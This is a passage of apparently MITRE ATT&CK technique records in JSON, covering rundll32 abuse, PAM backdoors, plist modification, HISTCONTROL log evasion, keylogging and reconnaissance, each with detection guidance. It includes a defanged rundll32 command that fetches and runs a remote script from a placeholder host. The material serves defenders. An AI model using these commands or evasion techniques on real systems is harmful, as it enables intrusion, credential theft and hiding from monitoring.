Confusion","url":"https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/","description":"B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018."},{"source_name":"Github NoRunDll","url":"https://github.com/gtworek/PSBits/tree/master/NoRunDll","description":"gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021."},{"source_name":"Trend Micro CPL","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf","description":"Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ","modified":"2022-04-19T18:12:39.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Rundll32","x_mitre_detection":"Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Module: Module Load","File: File Metadata","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control","Anti-virus"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vishwas Manral, McAfee","Center for Threat-Informed Defense (CTID)","Yossi Weizman, Azure Defender Research Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","type":"attack-pattern","created":"2021-03-31T14:26:00.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1613","url":"https://attack.mitre.org/techniques/T1613"},{"source_name":"Docker API","url":"https://docs.docker.com/engine/api/v1.41/","description":"Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021."},{"source_name":"Kubernetes API","url":"https://kubernetes.io/docs/concepts/overview/kubernetes-api/","description":"The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021."}],"modified":"2021-04-12T18:22:05.737Z","name":"Container and Resource Discovery","description":"Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Container: Container Enumeration","Container: Container Metadata","Pod: Pod Metadata","Cluster: Cluster Metadata","Pod: Pod Enumeration"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1143","url":"https://attack.mitre.org/techniques/T1143"},{"source_name":"PowerShell About 2019","url":"https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1","description":"Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019."},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"}],"modified":"2020-03-13T21:03:18.600Z","name":"Hidden Window","description":"Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.  (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1161","url":"https://attack.mitre.org/techniques/T1161"},{"url":"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf","description":"Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.","source_name":"Writing Bad Malware for OSX"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.","source_name":"Malware Persistence on OS X"}],"modified":"2021-03-30T00:51:58.008Z","name":"LC_LOAD_DYLIB Addition","description":"Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","type":"attack-pattern","created":"2020-03-14T23:36:52.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1132.001","url":"https://attack.mitre.org/techniques/T1132/001"},{"url":"https://en.wikipedia.org/wiki/Binary-to-text_encoding","description":"Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.","source_name":"Wikipedia Binary-to-text Encoding"},{"url":"https://en.wikipedia.org/wiki/Character_encoding","description":"Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.","source_name":"Wikipedia Character Encoding"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-14T23:36:52.095Z","name":"Standard Encoding","description":"Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--06780952-177c-4247-b978-79c357fb311f","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1150","url":"https://attack.mitre.org/techniques/T1150"},{"source_name":"Sofacy Komplex Trojan","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."}],"x_mitre_deprecated":false,"revoked":true,"description":"Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)","modified":"2022-04-22T18:49:20.520Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Plist Modification","x_mitre_detection":"File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":[],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_effective_permissions":[],"x_mitre_defense_bypassed":["Application whitelisting","Process whitelisting","Whitelisting by file name or path"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Scott Knight, @sdotknight, VMware Carbon Black","George Allen, VMware Carbon Black"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771","type":"attack-pattern","created":"2020-06-26T04:01:09.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1556.003","url":"https://attack.mitre.org/techniques/T1556/003"},{"source_name":"Apple PAM","url":"https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt","description":"Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020."},{"source_name":"Man Pam_Unix","url":"https://linux.die.net/man/8/pam_unix","description":"die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020."},{"source_name":"Red Hat PAM","url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules","description":"Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020."},{"source_name":"PAM Backdoor","url":"https://github.com/zephrax/linux-pam-backdoor","description":"zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020."},{"source_name":"PAM Creds","url":"https://x-c3ll.github.io/posts/PAM-backdoor-DNS/","description":"Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020."}],"modified":"2021-10-17T14:48:33.580Z","name":"Pluggable Authentication Modules","description":"Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Logon Session: Logon Session Creation"],"x_mitre_permissions_required":["root"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Netskope"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1","type":"attack-pattern","created":"2020-06-16T18:42:20.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1578.004","url":"https://attack.mitre.org/techniques/T1578/004"},{"source_name":"Tech Republic - Restore AWS Snapshots","url":"https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/","description":"Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."},{"source_name":"Google - Restore Cloud Snapshot","url":"https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots","description":"Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."}],"modified":"2021-03-08T10:33:02.128Z","name":"Revert Cloud Instance","description":"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Instance: Instance Metadata","Instance: Instance Start","Instance: Instance Modification","Instance: Instance Stop"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--086952c4-5b90-4185-b573-02bad8e11953","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1148","url":"https://attack.mitre.org/techniques/T1148"},{"external_id":"CAPEC-13","source_name":"capec","url":"https://capec.mitre.org/data/definitions/13.html"}],"modified":"2020-02-21T20:57:38.015Z","name":"HISTCONTROL","description":"The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Log analysis","Host forensic analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f","type":"attack-pattern","created":"2020-10-02T16:39:33.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1592","url":"https://attack.mitre.org/techniques/T1592"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:35:09.878Z","name":"Gather Victim Host Information","description":"Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca","type":"attack-pattern","created":"2020-10-02T16:58:58.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.003","url":"https://attack.mitre.org/techniques/T1596/003"},{"source_name":"SSLShopper Lookup","url":"https://www.sslshopper.com/ssl-checker.html","description":"SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020."},{"source_name":"Medium SSL Cert","url":"https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2","description":"Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020."}],"modified":"2021-04-15T03:48:37.628Z","name":"Digital Certificates","description":"Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","macOS","Linux","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","type":"attack-pattern","created":"2020-02-11T18:58:11.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1056.001","url":"https://attack.mitre.org/techniques/T1056/001"},{"external_id":"CAPEC-568","source_name":"capec","url":"https://capec.mitre.org/data/definitions/568.html"},{"url":"http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf","description":"Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.","source_name":"Adventures of a Keystroke"},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-21T01:30:56.227Z","name":"Keylogging","description":"Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include 